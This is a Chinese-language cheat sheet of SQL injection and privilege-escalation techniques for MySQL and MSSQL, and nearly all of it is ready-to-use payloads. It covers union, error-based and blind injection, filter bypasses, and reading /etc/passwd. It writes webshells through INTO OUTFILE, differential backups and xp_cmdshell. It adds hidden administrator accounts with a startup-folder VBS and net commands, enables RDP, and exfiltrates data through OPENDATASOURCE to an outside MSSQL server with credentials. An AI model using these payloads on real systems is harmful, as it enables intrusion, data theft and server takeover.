數據庫注入提權總結
基礎注入
聯合查詢
?若前面的查詢結果不為空,則返回兩次查詢的值:
?若前面的查詢結果為空,則只返回union查詢的值:
?關鍵字union select
?需要字段數對應
常用Payload:
# 查詢表名
' union select group_concat(table_name) from information_schema.tables where table_schema=database()%23
# 查詢字段名
' union select group_concat(column_name) from information_schema.columns where table_name='table1'%23
報錯注入
報錯注入是利用mysql在出錯的時候會引出查詢信息的特征,常用的報錯手段有如下10種:
# 修改select user() 字段 獲取不同的信息 # 1.floor() select * from test where id=1 and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a); # 2.extractvalue() select * from test where id=1 and (extractvalue(1,concat(0x7e,(select user()),0x7e))); # 3.updatexml() select * from test where id=1 and (updatexml(1,concat(0x7e,(select user()),0x7e),1)); # 4.geometrycollection() select * from test where id=1 and geometrycollection((select * from(select * from(select user())a)b)); # 5.multipoint() select * from test where id=1 and multipoint((select * from(select * from(select user())a)b)); 6.polygon() select * from test where id=1 and polygon((select * from(select * from(select user())a)b)); 7.multipolygon() select * from test where id=1 and multipolygon((select * from(select * from(select user())a)b)); 8.linestring() select * from test where id=1 and linestring((select * from(select * from(select user())a)b)); 9.multilinestring() select * from test where id=1 and multilinestring((select * from(select * from(select user())a)b)); 10.exp() select * from test where id=1 and exp(~(select * from(select user())a));
布爾盲注
常見的布爾盲注場景有兩種,一是返回值只有True或False的類型,二是Order by盲注。
返回值只有True或False的類型
如果查詢結果不為空,則返回True(或者是Success之類的),否則返回False
這種注入比較簡單,可以挨個猜測表名、字段名和字段值的字符,通過返回結果判斷猜測是否正確
例:parameter=’ or ascii(substr((select database()) ,1,1))<115—+
Orderby盲注
order by rand(True)和order by rand(False)的結果排序是不同的,可以根據這個不同來進行盲注:
例:order by rand(database()='pdotest')
返回了True的排序,說明database()=’pdotest’是正確的值
時間盲注
其實大多數頁面,即使存在sql注入也基本是不會有回顯的,因此這時候就要用延時來判斷查詢的結果是否正確。
常見的時間盲注有:
1.sleep(x) id=' or sleep(3)%23 id=' or if(ascii(substr(database(),1,1))>114,sleep(3),0)%23 查詢結果正確,則延遲3秒,錯誤則無延時。 2.benchmark() 通過大量運算來模擬延時: id=' or benchmark(10000000,sha(1))%23 id=' or if(ascii(substr(database(),1,1))>114,benchmark(10000000,sha(1)),0)%23 本地測試這個值大約可延時3秒: 3.笛卡爾積 計算笛卡爾積也是通過大量運算模擬延時: select count(*) from information_schema.tables A,information_schema.tables B,information_schema.tables C select balabala from table1 where '1'='2' or if(ascii(substr(database(),1,1))>0,(select count(*) from information_schema.tables A,information_schema.tables B,information_schema.tables C),0)
笛卡爾積延時大約也是3秒
HTTP頭注入
注入手法和上述相差不多,就是注入點發生了變化
HTTP分割注入
常見場景,登錄處SQL語句如下,注釋符號被過濾
select xxx from xxx where username=’xxx’ and password=’xxx’ # 方法一 username=1' or extractvalue/* password=1*/(1,concat(0x7e,(select database()),0x7e))or' SQL語句最終變為 select xxx from xxx where username='1' or extractvalue/*’ and password=’*/(1,concat(0x7e,(select database()),0x7e))or'' # 方法二 username=1' or if(ascii(substr(database(),1,1))=115,sleep(3),0) or '1 password=1 select * from users where username='1' or if(ascii(substr(database(),1,1))>0,sleep(3),0) or '1' and password='1'
二次注入
二次注入主要出現在update和select結合點,如注冊之后在登錄
攻擊者構造的惡意payload首先會被服務器存儲在數據庫中,在之后取出數據庫在進行SQL語句拼接時產生的SQL注入問題
SQL約束攻擊
假如注冊時username參數在mysql中為字符串類型,并且有unique屬性,設置了長度為VARCHAR(20)。
則我們注冊一個username為admin[20個空格]asd的用戶名,則在mysql中首先會判斷是否有重復,若無重復,則會截取前20個字符加入到數據庫中,所以數據庫存儲的數據為admin[20個空格],而進行登錄的時候,SQL語句會忽略空格,因此我們相當于覆寫了admin賬號。
基礎繞過
大小寫繞過
用于過濾時沒有匹配大小寫的情況:
SelECt * from table;
雙寫繞過
用于將禁止的字符直接刪掉的過濾情況如:
preg_replace(‘/select/‘,’’,input)
則可用seselectlect from xxx來繞過,在刪除一個select后剩下的就是select from xxx
繞過空格
當空格被過濾時,可以使用/**/ () %0a %09進行繞過
使用16進制繞過特定字符
如果在查詢字段名的時候表名被過濾,或是數據庫中某些特定字符被過濾,則可用16進制繞過:
select column_name from information_schema.columns where table_name=0x7573657273;
0x7573657273為users的16進制
只能針對表名,字段名等,內置函數關鍵字,不能使用16進制替代
寬字節、Latin1默認編碼
寬字節注入
用于單引號被轉義,但編碼為gbk編碼的情況下,用特殊字符將其與反斜杠合并,構成一個特殊字符:
username = %df'#
經gbk解碼后變為:
select * from users where username ='運'#
成功閉合了單引號。
Latin1編碼
Mysql表的編碼默認為latin1,如果設置字符集為utf8,則存在一些latin1中有而utf8中沒有的字符,而Mysql是如何處理這些字符的呢?直接忽略
于是我們可以輸入?username=admin%c2,存儲至表中就變為了admin
上面的%c2可以換為%c2-%ef之間的任意字符
常見字符的替代
and -> && or -> || 空格-> /**/ -> %a0 -> %0a -> + # -> --+ -> ;%00(php<=5.3.4) -> or '1'='1 = -> like -> regexp -> <> -> in 注:regexp為正則匹配,利用正則會有些新的注入手段
逗號被過濾
# 用join代替: -1 union select 1,2,3 -1 union select * from (select 1)a join (select 2)b join (select 3)c%23 # limit: limit 2,1 limit 1 offset 2 # substr: substr(database(),5,1) substr(database() from 5 for 1) from為從第幾個字符開始,for為截取幾個 substr(database() from 5) # 如果for也被過濾了 mid(REVERSE(mid(database()from(-5)))from(-1)) reverse是反轉,mid和substr等同 # if: if(database()=’xxx’,sleep(3),1) id=1 and databse()=’xxx’ and sleep(3) select case when database()=’xxx’ then sleep(5) else 0 end limit被過濾 select user from users limit 1
加限制條件,如:
select user from users group by user_id having user_id = 1 (user_id是表中的一個column)
information_schema被過濾
innodb引擎可用mysql.innodb_table_stats、innodb_index_stats,日志將會把表、鍵的信息記錄到這兩個表中
除此之外,系統表sys.schema_table_statistics_with_buffer、sys.schema_auto_increment_columns用于記錄查詢的緩存,某些情況下可代替information_schema
文件讀寫
讀寫權限
在進行MySQL文件讀寫操作之前要先查看是否擁有權限,mysql文件權限存放于mysql表的file_priv字段,對應不同的User,如果可以讀寫,則數據庫記錄為Y,反之為N:
我們可以通過user()查看當前用戶是什么,如果對應用戶具有讀寫權限,則往下看,反之則放棄這條路找其他的方法。
除了要查看用戶權限,還有一個地方要查看,即secure-file-priv。它是一個系統變量,用于限制讀寫功能,它的值有三種:
(1)無內容,即無限制
(2)為NULL,表示禁止文件讀寫
(3)為目錄名,表示僅能在此目錄下讀寫
該配置項存放在my.ini中,修改之后必須重啟mysql重新加載配置文件
讀文件
如果滿足上述2個條件,則可嘗試讀寫文件了。
常用的讀文件的語句有如下幾種:
select load_file(file_path);
load data infile "/etc/passwd" into table 庫里存在的表名 FIELDS TERMINATED BY 'n'; #讀取服務端文件
load data local infile "/etc/passwd" into table 庫里存在的表名 FIELDS TERMINATED BY 'n'; #讀取客戶端文件
需要注意的是,file_path必須為絕對路徑,且反斜杠需要轉義:
寫文件
select 1,"" into outfile '/var/www/html/1.php'; select 2,"" into dumpfile '/var/www/html/1.php'; 當secure_file_priv值為NULL時,可用生成日志的方法繞過: set global general_log_file = '/var/www/html/1.php'; set global general_log = on;
日志除了general_log還有其他許多日志,實際場景中需要有足夠的寫入日志的權限,且需要堆疊注入的條件方可采用該方法,因此利用非常困難。
DNS外帶注入
若用戶訪問DNS服務器,則會在DNS日志中留下記錄。如果請求中帶有SQL查詢的信息,則信息可被帶出到DNS記錄中。
利用條件:
1.secure_file_priv為空且有文件讀取權限
2.目標為windows(利用了UNC,Linux不可行)
3.無回顯且無法時間盲注
利用方法:
可以找一個免費的DNSlog:http://pan.dns.outnet/index.php?mod=shares&sid=R1ZXZ0UwdTJuSjVxZEVxd1JCc0E0TWl1VzZ1NjVOWW91Z3U2RExF

方法二:ntunnel_mysql.php
Navicat內置的php-mysq鏈接文件,上傳到目標網站

對navicat進行如下配置即可:

方法三:蟻劍內置插件

啟動項提權
windows開機時候都會有一些開機啟動的程序,那時候啟動的程序權限都是system,因為是system把他們啟動的,利用這點,我們可以將自動化腳本寫入啟動項,達到提權的目的。當 Windows 的啟動項可以被 MySQL 寫入的時候可以使用 MySQL 將自定義腳本導入到啟動項中,這個腳本會在用戶登錄、開機、關機的時候自動運行。
在windows2003的系統下,啟動項路徑如下:
C:\Documents and Settings\Administrator\「開始」菜單\程序\啟動
C:\Documents and Settings\All Users\「開始」菜單\程序\啟動
在windows2008的系統下,啟動項路徑如下:
C:\Users\Administrator\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup
我們在拿到一個網站的webshell的時候如果想進一步的獲得網站的服務器權限,查看服務器上系統盤的可讀可寫目錄,若是啟動目錄 C:\Users\用戶名\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup 是可讀可寫的,我們就可以執行上傳一個vbs或者bat的腳本進行提權。
這里使用test.vbs添加用戶密碼,上傳到啟動目錄重啟的時候即可自動添加賬號密碼
set wshshell=createobject("wscript.shell")
a=wshshell.run("cmd.exe /c net user test test123 /add",0)
b=wshshell.run("cmd.exe /c net localgroup administrators test /add",0)
通過mysql的話:
use mysql;
create table test(cmd text);
insert into a values(“set wshshell=createobject(“”wscript.shell””)”);
insert into a values(“a=wshshell.run(“”cmd.exe /c net user test test123 /add“”,0)”);
insert into a values(“b=wshshell.run(“”cmd.exe /c net localgroup administrators test /add“”,0)”);
select * from a into outfile “C:\Documents and Settings\All Users\「開始」菜單\程序\啟動\secist.vbs”;
重啟之后可以提權
CVE-2016-6663和CVE-2016-6664
https://lengjibo.github.io/mysqludf/
MSSQL
MSSQL基礎
系統自帶庫
MSSQL安裝后默認帶了六個數據庫
?4個系統庫:master、model、tempdb和msdb;
?2個示例庫:NorthwindTraders和pubs
系統自帶庫 功能 master 系統控制數據庫,包含所有配置信息,用戶登錄信息,當前系統運行情況 model 模板數據庫,數據庫時建立所有數據庫的模板。 tempdb 臨時容器,保存所有的臨時表,存儲過程和其他程序交互的臨時文件 msdb 主要為用戶使用,記錄著計劃信息、事件處理信息、數據備份、警告以及異常信息 |
系統視圖表
MSSQL數據庫有安裝的自帶數據表:
視圖表 功能 sysobjects 記錄了數據庫中所有表,常用字段為id、name和xtype syscolumns 記錄了數據庫中所有表的字段,常用字段為id、name和xtype sys.databases SQL Server 中所有的數據庫 sys.sql_logins SQL Server 中所有的登錄名 information_schema.tables 當前用戶數據庫的表 information_schema.columns 當前用戶數據庫的列 sys.all_columns 用戶定義和系統對象的所有列的聯合 sys.database_principals 數據庫中每個權限或列異常權限 sys.database_files 存儲在數據庫中數據庫文件 |
MSSQL權限控制
?服務器角色
固定服務器角色 權限 sysadmin(最高服務器角色) 執行SQL Server中的任何動作 serveradmin 配置服務器設置 setupadmin 安裝復制和管理擴展過程 securityadmin 管理登錄和Create database的權限以及閱讀審計 processadmin 管理SQL Server進程 dbcreator 創建和修改數據庫 diskadmin 管理磁盤文件 |
可以通過如下語句判斷:
select is_srvrolemember('sysadmin')

?數據庫角色
固定數據庫角色 權限 db_owner( 最高權限) 可以執行數據庫中所有動作的用戶 db_accessadmin 可以添加、刪除用戶的用戶 db_datareader 可以查看所有數據庫中用戶表內數據的用戶 db_datawriter 可以添加、修改、刪除所有數據庫中用戶表內數據的用戶 db_ddladmin 可以在數據庫注重執行所有DDL操作的用戶 db_securityadmin 可以管理數據庫中與安全權限有關所有動作的用戶 db_backoperator 可以備份數據庫的用戶 db_denydatareader 不能看到數據庫中任何數據的用戶 db_denydatawriter 不能改變數據庫中任何數據的用戶 |
可以通過如下語句判斷:
select is_member('db_owner')

MSSQL常用語句
# 創建數據庫
create database [dbname];
create database test;
# 刪除數據庫
drop database [dbname];
drop database test;
# 創建新表
create table table_name (name char(10),age tinyint,sex int);
# 創建新表前要選擇數據庫,默認是master庫
use test;
create table admin (users char(255),passwd char(255),sex int);
# 刪除新表
drop table table_name;
drop table dbo.admin;
# 向表中插入數據
insert into table_name (column1,column2) values(value1,value2);
insert into admin (users,passwd,sex) values('admin','admin',1);
# 刪除內容
delete from table_name where column1=value1;
delete from admin where sex=2;
# 更新內容
update table_name set column2=”xxx” where column1=value1;
update admin set users='admintest' where sex=2;
# 查找內容
select * from table_name where column1=value1;
select passwd from admin where users='admin';
?排序&獲取下一條數據
–MSSQL數據庫中沒有limit排序獲取字段,但是可以使用top 1來顯示數據中的第一條數據,
–使用 <> 來排除已經顯示的數據,獲取下一條數據,也就是不等于的意思。
–使用not in來排除已經顯示的數據,獲取下一條數據 ,后面可以跟一個集合。
# 使用<>獲取數據
id=-2 union select top 1 1,id,name from dbo.syscolumns where id='5575058' and name<>'id' and name<>'username'--+
# 使用not in獲取數據
id=-2 union select top 1 1,table_name from information_schema.tables where table_name not in(select top 1 table_name from information_schema.tables)--+
id=-2 union select top 1 1,id,name from dbo.syscolumns where id='5575058' and name not in('id','username')--+
MSSSQL注釋
單行:--空格
多行:/**/
常用函數
名稱 功能 suser_name() 用戶登錄名 user_name() 用戶在數據庫中的名字 user 用戶在數據庫中的名字 db_name() 數據庫名 @@version 返回SQL服務器版本相關信息 quotename() 在存儲過程中,給列名、表名等加個[]、’’等以保證sql語句能正常執行 WAITFOR DELAY '0:0:n' '時:分:秒',WAITFOR DELAY '0:0:5'表示等待5秒后執行 substring() 截取字符串 substr(字符串,開始截取位置,截取長度) ,例如substring('abcdef',1,2) 表示從第一位開始,截取2位,即 'ab' |
常見注入類型
聯合查詢注入
1.判斷注入點及類型
?id=1' and 1=1--+
?id=1' and 1=2--+
# 那么此處是字符型注入,需要單引號閉合
2.判斷字段數
?id=1' order by 3--+
?id=1' order by 4--+
3.聯合查詢判斷回顯點
?id=0' union select 1,2,3--+
4.獲取當前數據庫名字和版本信息
?id=0' union select 1,db_name(),@@version--+
5.獲取所有的數據庫名,database在較高版本的SQL Server 中已經變成了動態視圖
?id=0' union select 1,db_name(),name from master.sys.databases where name not in(select top 1 name
from master.sys.databases)--+
6.獲取所有的表名,當information前面沒有庫名時,默認查詢當前數據庫,與mysql不同,每個數據庫都有單獨的information表,可以用master.information_schema.tables 來查詢不同數據庫的信息
?id=0' union select top 1 1,2,table_name from information_schema.tables where table_name not in
(select top 1 table_name from information_schema.tables)--+
7.獲取所有的字段名,多加些限定條件方便注入
?id=0' union select top 1 1,2,column_name from information_schema.columns where column_name not in
(select top 1 column_name from information_schema.columns)--+
?id=0' union select top 1 1,2,column_name from information_schema.columns where table_name='users' and
column_name not in(select top 2 column_name from information_schema.columns where table_name='users')--
8.獲取users表賬號密碼信息
?id=0' union select top 1 1,username,password from users--+
報錯注入
?MSSQL數據庫是強類型語言數據庫,當類型不一致時將會報錯,配合子查詢即可實現報錯注入
1.判斷注入點
id=1
2.判斷是否為MSSQL數據庫
# 返回正常為MSSQL
id=1 and exists(select * from sysobjects)
id=1 and exists(select count(*) from sysobjects)
3.判斷數據庫版本號
id=1 and @@version>0--+
# @@version是mssql的全局變量,@@version>0執行時轉換成數字會報錯,也就將數據庫信息暴露出來了,必須是在where后面拼接執行
4.獲取當前數據庫名
and db_name()>0--+
and 1=db_name()--+
# 報錯注入的原理就是將其他類型的值轉換層int型失敗后就會爆出原來語句執行的結果
5.判斷當前服務器擁有的權限
and 1=(select IS_SRVROLEMEMBER('sysadmin'))--+
and 1=(select IS_SRVROLEMEMBER('serveradmin'))--+
and 1=(select IS_SRVROLEMEMBER('setupadmin'))--+
and 1=(select IS_SRVROLEMEMBER('securityadmin'))--+
and 1=(select IS_SRVROLEMEMBER('diskadmin'))--+
and 1=(select IS_SRVROLEMEMBER('bulkadmin'))--+
6.判斷當前角色是否為DB_OWNER
and 1=(select is_member('db_owner'))--+
# db_owner權限可以通過備份方式向目標網站寫文件
7.獲取當前用戶名
and user_name()>0--+
8,獲取所有數據庫名
and (select name from master.sys.databases where database_id=1)>0--+
# 更改database_id的值來獲取所有的數據庫
9.獲取數據庫的個數
and 1=(select quotename(count(name)) from master.sys.databases)--+
10.一次性獲取所有數據庫庫
and 1=(select quotename(name) from master.sys.databases for xml path(''))--+
11.獲取所有的表名
# 獲取當前庫第一個表
and 1=(select top 1 table_name from information_schema.tables)--+
# 獲取當前庫第二個表
and 1=(select top 1 table_name from information_schema.tables where table_name not in('emails'))--+
# 獲取當前庫第三個表
and 1=(select top 1 table_name from information_schema.tables where table_name not in('emails','uagents'))--+
# 也可通過更改top 參數獲取表
and 1=(select top 1 table_name from information_schema.tables where table_name not in
(select top 5 table_name from information_schema.tables))--+
# quotename和for xml path('')一次性獲取全部表
and 1=(select quotename(table_name) from information_schema.tables for xml path(''))--+
# quotename()的主要作用就是在存儲過程中,給列名、表名等加個[]、’’等以保證sql語句能正常執行。
12.獲取字段名
# 通過top 和 not in 獲取字段
and 1=(select top 1 column_name from information_schema.columns where table_name='users')--+
and 1=(select top 1 column_name from information_schema.columns where table_name='users' and column_name not in ('id','username'))--+
# 通過quotename 和 for xml path('') 獲取字段
and 1=(select quotename(column_name) from information_schema.columns where table_name='emails' for xml path(''))--+
13.獲取表中數據
and 1=(select quotename(username) from users for xml path(''))--+
and 1=(select quotename(password) from users for xml path(''))--+
布爾盲注
1. 判斷注入點
and 1=1 and 1=2 and '1'='1' and '1456'='1456'--+
2.猜解數據庫個數
id=1 and (select count(*) from sys.databases)=7--+ # 存在7個數據庫
3.猜解數據庫名長度
id=1 and len((select top 1 name from sys.databases))=6--+ # 第一個庫名長度為6
id=1 and len(db_name())=4--+ # 當前數據庫名長度為4
4.猜解數據庫名
id=1 and ascii(substring(db_name(),1,1))=115--+ # 截取庫名第一個字符的ascii碼為115——s
id=1 and ascii(substring(db_name(),2,1))=113--+ # 截取庫名第二個字符的ascii碼為113——q
# 截取第一個庫名第一個字符的ascii碼為109——m
id=1 and ascii(substring((select top 1 name from sys.databases),1,1))=109--+
# 截取第二個庫名第一個字符的ascii碼為105——i
id=1 and ascii(substring((select top 1 name from sys.databases where name not in ('master')),1,1))=105--+
5.猜解表名
# 截取當前庫的第一個表的第一個字符的ascii碼為101——e
id=1 and ascii(substring((select top 1 table_name from information_schema.tables),1,1))=101--+
# 截取當前庫的第二個表的第一個字符的ascii碼為117——u
id=1 and ascii(substring((select top 1 table_name from information_schema.tables where table_name not in ('emails')),1,1))=117--+
6.猜解字段名
# 截取當前庫的emails表的第一個字符的ascii碼為105——i
id=1 and ascii(substring((select top 1 column_name from information_schema.columns where table_name='emails'),1,1))=105--+
#截取當前庫的emails表的第二個字符的ascii碼為100——d
id=1 and ascii(substring((select top 1 column_name from information_schema.columns where table_name='emails'),2,1))=100--+
7.猜解表中數據
# username字段的數據第一個字符為D
id=1 and ascii(substring((select top 1 username from users),1,1))=68--+
時間盲注
1.判斷是否存在注入
id=1 WAITFOR DELAY '0:0:5'--+
2.判斷權限
# 如果是sysadmin權限,則延時5秒
id=1 if(select IS_SRVROLEMEMBER('sysadmin'))=1 WAITFOR DELAY '0:0:5'--+
3.查詢當前數據庫的長度和名字
# 二分法查詢長度
id=1 if(len(db_name()))>40 WAITFOR DELAY '0:0:5'--+
# 查詢數據庫名字
# substring截取字符串的位置,用ascii轉為數字進行二分法查詢
id=1 if(ascii(substring(db_name(),1,1)))>50 WAITFOR DELAY '0:0:5'--+
4.查詢數據庫的版本
id=1 if(ascii(substring((select @@version),1,1))=77 WAITFOR DELAY '0:0:5'--+ # ascii 77 = M
5.查詢表個數,Sysobject 存儲了所有表的信息,所有數據庫的都放在一起
id=1 if((select count(*) from SysObjects where xtype='u')>5) WAITFOR DELAY '0:0:5'--+
# 當前數據庫表的個數為6
6.查詢第一個表的長度
# 查詢第一個表
id=1 and select top 1 name from SysObjects where xtype='u'
# 查詢結果為1
(select count(*) from SysObjects where name in (select top 1 name from SysObjects where xtype='u')
# 利用and,進行判斷,9為表長度的猜測
and len(name)=9
# 第一個表名長度為6
id=1 if((select count(*) from SysObjects where name in (select top 1 name from SysObjects where xtype='u') and len(name)=9)=1) WAITFOR DELAY '0:0:5'--+
id=1 if((select count(*) from SysObjects where name in (select top 1 name from SysObjects where xtype='u') and len(name)=6)=1) WAITFOR DELAY '0:0:10'--+
7.查詢第一個表的表名
id=1 if((select count(*) from SysObjects where name in (select top 1 name from SysObjects where xtype='u') and ascii(substring(name,1,1))>90)=1) WAITFOR DELAY '0:0:5'--+
id=1 if((select count(*) from SysObjects where name in (select top 1 name from SysObjects where xtype='u') and ascii(substring(name,1,1))=101)=1) WAITFOR DELAY '0:0:5'--+
8.查詢第二個表的長度
# 查詢第一個表名,去除emails, emails為第一個表名
select top 1 name from SysObjects where xtype='u' and name not in ('emails')
# 同理,第三個表則 and name not in ('emails','uagents')
id=1 if((select count(*) from SysObjects where name in (select top 1 name from SysObjects where xtype='u' and name not in ('emials')) and len(name)=6)<>0) WAITFOR DELAY '0:0:5'--+
9.查詢第二個表的名字
id=1 if((select count(*) from SysObjects where name in (select top 1 name from SysObjects where xtype='u' and name not in ('emails')) and ascii(substring(name,1,1)>100)!=1) WAITFOR DELAY '0:0:5'--+
id=1 if((select count(*) from SysObjects where name in (select top 1 name from SysObjects where xtype='u' and name not in ('emails')) and ascii(substring(name,1,1)>100)!=0) WAITFOR DELAY '0:0:5'--+
10.查詢第一個表中的字段
# and name not in ('')查詢第二個字段的時候可以直接在其中,排除第一個字段名
id=1 if((select count(*) from syscolumns where name in (select top 1 name from syscolumns where id = object_id('emails') and name not in ('')) and ascii(substring(name,1,1))=1)!=0) WAITFOR DELAY '0:0:1'--+
11.查詢字段類型
id=1 if((select count(*) from information_schema.columns where data_type in(select top 1 data_type from information_schema.columns where table_name ='emails') and ascii(substring(data_type,1,1))=116)!=0) WAITFOR DELAY '0:0:5'--+
12.查詢數據
# 查詢所有數據庫
SELECT Name FROM Master..SysDatabases ORDER BY Name
# 查詢存在password字段的表名
SELECT top 1 sb.name FROM syscolumns s JOIN sysobjects sb ON s.id=sb.id WHERE s.name='password'
id=1 if((select count(*) from sysobjects where name in ((select name from sysobjects where name in (SELECT top 1 sb.name FROM syscolumns s JOIN sysobjects sb ON s.id=sb.id WHERE s.name='password') and ascii(substring(sysobjects.name,1,1))>1)))>0) waitfor delay '0:0:1'--
# 查詢包含pass的字段名
SELECT top 1 name FROM SysColumns where name like '%pass%'
id=1 if((select count(*) from SysColumns where name in (SELECT top 1 name FROM SysColumns where name like '%pass%' and ascii(substring(name,1,1))>1))>0) waitfor delay '0:0:1'--
反彈注入
?反彈注入條件相對苛刻一些,一是需要一臺搭建了mssql數據庫的vps服務器,二是需要開啟堆疊注入。
?反彈注入需要使用opendatasource函數。
–OPENDATASOURCE(provider_name,init_string)
–使用opendatasource函數將當前數據庫查詢的結果發送到另一數據庫服務器中。
?基本流程
–連接vps的mssql數據庫,新建表test,字段數與類型要與要查詢的數據相同。
CREATE TABLE test(name VARCHAR(255))
–獲取數據庫所有表,使用反彈注入將數據注入到表中,注意這里填寫的是數據庫對應的參數,最后通過空格隔開要查詢的數據。
# 查詢sysobjects表
?id=1;insert into opendatasource('sqloledb','server=SQL5095.site4now.net,1433;uid=DB_14DC18D_test_admin;pwd=123456;database=DB_14DC18D_test').DB_14DC18D_test.dbo.test select name from dbo.sysobjects where xtype='U' --+
# 查詢information_schema數據庫
?id=1;insert into opendatasource('sqloledb','server=SQL5095.site4now.net,1433;uid=DB_14DC18D_test_admin;pwd=123456;database=DB_14DC18D_test').DB_14DC18D_test.dbo.test select table_name from information_schema.tables--+
# 查詢information_schema數據庫
id=1;insert intoopendatasource('sqloledb','server=SQL5095.site4now.net,1433;uid=DB_14DC18D_test_admin;pwd=123456;database=DB_14DC18D_test').DB_14DC18D_test.dbo.test select column_name from information_schema.columns where table_name='admin'--+
# 查詢syscolumns表
id=1;insert intoopendatasource('sqloledb','server=SQL5095.site4now.net,1433;uid=DB_14DC18D_test_admin;pwd=123456;database=DB_14DC18D_test').DB_14DC18D_test.dbo.test select name from dbo.syscolumns where id=1977058079--+
MSSQL GetShell
擴展存儲過程
擴展存儲簡介
?在MSSQL注入攻擊過程中,最長利用的擴展存儲如下:
擴展存儲過程 說明 xp_cmdshell 直接執行系統命令 sp_OACreate() 直接執行系統命令 sp_OAMethod() 直接執行系統命令 xp_regread 進行注冊表讀取 xp_regwrite 寫入到注冊表 xp_dirtree 進行列目錄操作 xp_ntsec_enumdomains 查看domain信息 xp_subdirs 通過xp_dirtree,xp_subdirs將在一個給定的文件夾中顯示所有子文件夾 |
?xp_cmdshell詳細使用方法:
xp_cmdshell默認在mssql2000中是開啟的,在mssql2005之后的版本中則默認禁止 。如果用戶擁有管理員sysadmin 權限則可以用sp_configure重新開啟它
execute('sp_configure "show advanced options",1') # 將該選項的值設置為1
execute('reconfigure') # 保存設置
execute('sp_configure "xp_cmdshell", 1') # 將xp_cmdshell的值設置為1
execute('reconfigure') # 保存設置
execute('sp_configure') # 查看配置
execute('xp_cmdshell "whoami"') # 執行系統命令
exec sp_configure 'show advanced options',1; # 將該選項的值設置為1
reconfigure; # 保存設置
exec sp_configure 'xp_cmdshell',1; # 將xp_cmdshell的值設置為1
reconfigure; # 保存設置
exec sp_configure; # 查看配置
exec xp_cmdshell 'whoami'; # 執行系統命令
# 可以執行系統權限之后,前提是獲取的主機權限是administrators組里的或者system權限
exec xp_cmdshell 'net user Guest 123456' # 給guest用戶設置密碼
exec xp_cmdshell 'net user Guest /active:yes' # 激活guest用戶
exec xp_cmdshell 'net localgroup administrators Guest /add' # 將guest用戶添加到administrators用戶組
exec xp_cmdshell 'REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f' # 開啟3389端口
擴展存儲Getshell
?條件
1.數據庫是 db_owner 權限
2.擴展存儲必須開啟,涉及到的的擴展存儲過程: xp_cmdshell、 xp_dirtree、 xp_subdirs、 xp_regread
1.查看是否禁用擴展存儲過程xp_cmdshell
id=0 union select 1,2,count(*) FROM master..sysobjects Where xtype = 'X' AND name = 'xp_cmdshell'--+
id=1 and 1=(select count(*) from master.sys.sysobjects where name='xp_cmdshell')--+
2.執行命令
id=1;exec master.sys.xp_cmdshell 'net user admin Admin@123 /add'--+
id=1;exec master.sys.xp_cmdshell 'net localgroup administrators admin /add'--+
差異備份GetShell
差異備份簡介
差異備份數據庫得到webshell。在sqlserver里dbo和sa權限都有備份數據庫權限,我們可以把數據庫備份稱asp文件,這樣我們就可以通過mssqlserver的備份數據庫功能生成一個網頁小馬。
前提條件
?具有db_owner權限
?知道web目錄的絕對路徑
尋找絕對路徑的方法
?報錯信息
?字典爆破
?根據旁站目錄進行推測
?存儲過程來搜索
在mssql中有兩個存儲過程可以幫我們來找絕對路徑:xp_cmdshell xp_dirtree
先來看xp_dirtree直接舉例子
execute master..xp_dirtree 'c:' --列出所有c:\文件、目錄、子目錄
execute master..xp_dirtree 'c:',1 --只列c:\目錄
execute master..xp_dirtree 'c:',1,1 --列c:\目錄、文件
當實際利用的時候我們可以創建一個臨時表把存儲過程查詢到的路徑插入到臨時表中
CREATE TABLE tmp (dir varchar(8000),num int,num1 int);
insert into tmp(dir,num,num1) execute master..xp_dirtree 'c:',1,1;
當利用xp_cmdshell時,其實就是調用系統命令來尋找文件
例如:
?id=1;CREATE TABLE cmdtmp (dir varchar(8000));
?id=1;insert into cmdtmp(dir) exec master..xp_cmdshell 'for /r c:\ %i in (1*.aspx) do @echo %i'
?讀配置文件
差異備份的大概流程
1.完整備份一次(保存位置當然可以改)
backup database 庫名 to disk = 'c:\ddd.bak';--+
**2.創建表并插入數據**
create table [dbo].[dtest] ([cmd] [image]);--+
insert into dtest(cmd)values(0x3C25657865637574652872657175657374282261222929253E);--+
**3.進行差異備份**
backup database 庫名 to disk='c:\interub\wwwroot\shell.asp' WITH DIFFERENTIAL,FORMAT;--+
# 上面0x3C25657865637574652872657175657374282261222929253E即一句話木馬的內容:<%execute(request("a"))%>
xp_cmdshell GetShell
原理很簡單,就是利用系統命令直接像目標網站寫入木馬
?id=1;exec master..xp_cmdshell 'echo ^<%@ Page Language="Jscript"%^>^<%eval(Request.Item["pass"],"unsafe");%^> > c:\\WWW\\404.aspx' ;
這里要注意 <和>必須要轉義,轉義不是使用\而是使用^
文件下載getshell
當我們不知道一些網站絕對路徑時,我們可以通過文件下載命令,加載遠程的木馬文件,或者說.ps1腳本,使目標機器成功上線cs或者msf
MSSQL提權
存儲過程說明
xp_dirtree
?用于顯示當前目錄的子目錄,有如下三個參數
–directory:表示要查詢的目錄
–depath:要顯示子目錄的深度,默認值是0,表示所有的子目錄
–file:第三個參數,布爾類型,指定是否顯示子目錄中的文件,默認值是0,標水不顯示任何文件,只顯示子目錄



xp_dirtree 能夠觸發NTLM請求xp_dirtree '\\ \any\thing'
xp_subdirs
用于得到給定的文件夾內的文件夾列表
exec xp_subdirs 'c:\'

xp_fixeddrives
用于查看磁盤驅動器剩余的空間
exec xp_fixeddrives

xp_availablemedia
用于獲得當前所有的驅動器
exec xp_availablemedia

xp_fileexist
用于判斷文件是否存在
exec xp_fileexist 'c:\windows\123.txt'


xp_create_subdir
用于創建子目錄,參數是子目錄的路徑
exec xp_create_subdir 'c:\users\admin\desktop\test'

xp_delete_file
可用于刪除文件,但是不會刪除任意類型的文件,系統限制它只能刪除特定類型(備份文件和報表文件)
?第一個參數是文件類型(File Type),有效值是0和1,0是指備份文件,1是指報表文件;
?第二個參數是目錄路徑(Folder Path), 目錄中的文件會被刪除,目錄路徑必須以“\”結尾;
?第三個參數是文件的擴展名(File Extension),常用的擴展名是'BAK' 或'TRN';
?第四個參數是Date,早于該日期創建的文件將會被刪除;
